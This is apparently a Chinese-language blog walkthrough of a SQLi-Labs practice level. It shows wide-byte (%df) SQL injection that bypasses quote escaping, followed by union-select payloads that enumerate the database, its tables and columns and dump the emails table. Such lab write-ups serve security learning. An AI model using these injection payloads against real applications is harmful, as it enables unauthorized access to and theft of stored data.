SQL注入漏洞SQL-Libs靶场
SQLI-LIBS

我们尝试测试一下注入点,输入语句:
?id=1\
页面回显:

可以看到我们输入的语句被变成了 ?id=1\\ 说明我们输入的反斜杠被后台注释掉了。我们输入单引号测试一下:
?id=1'
页面回显:

可以看到我们输入的语句被后台变成了 ?id=1\' 我们输入的单引号同样被后台注释掉了,这里我就不测试其他注入点了,因为这一关的注入点就是单引号。那么说明以前的注入方法在这里都行不通了,需要一种新的方法。这里我介绍一下宽字节注入的方法去绕过后台对注入点的注释。
我们输入语句测试注入点:
?id=1%df\
页面回显:

通过页面回显我们可以看出注入点为单引号。接下来我们输入语句去测试显示位:
?id=0%df' union select 1,2,3 --+
页面回显:

可以看到我们成功得到了页面的显示位,之后使用联合注入就可以了。
输入语句:
?id=0%df' union select 1,database(),3 --+
页面回显:

可以看到成功爆破了数据库名字。
爆破表名
输入语句:
?id=0%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
页面回显:

成功爆破了表名。
爆破列名
爆破列名的时候要注意不能按照以前的方法爆破列名了,假设我们输入语句:?id=1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
但是由于对单引号的过滤,真正传给后台执行的语句会变成:?id=1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\'emails\' --+
可以看到我们表名的单引号也会被过滤,我们可以输入语句看一下页面回显:

可以看到确实被过滤了,这里不能使用添加特殊字符绕过的方法。
使用子查询绕过。
输入语句
?id=0%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) --+
这种方法就是把原本输入表名的地方在写一个查询语句,也就是 table_name=查询语句查询的结果。其中查询语句使用 limit 语句限制输出的表名就可以了。
页面回显:

可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=0%df' union select 1,group_concat(id,email_id),3 from emails --+
页面回显:

可以看到成功爆破了表 emails 的字段值。
本文来自博客园,作者:长温不喜风云,转载请注明原文链接:https://www.cnblogs.com/changwen12138/p/18987267

浙公网安备 33010602011771号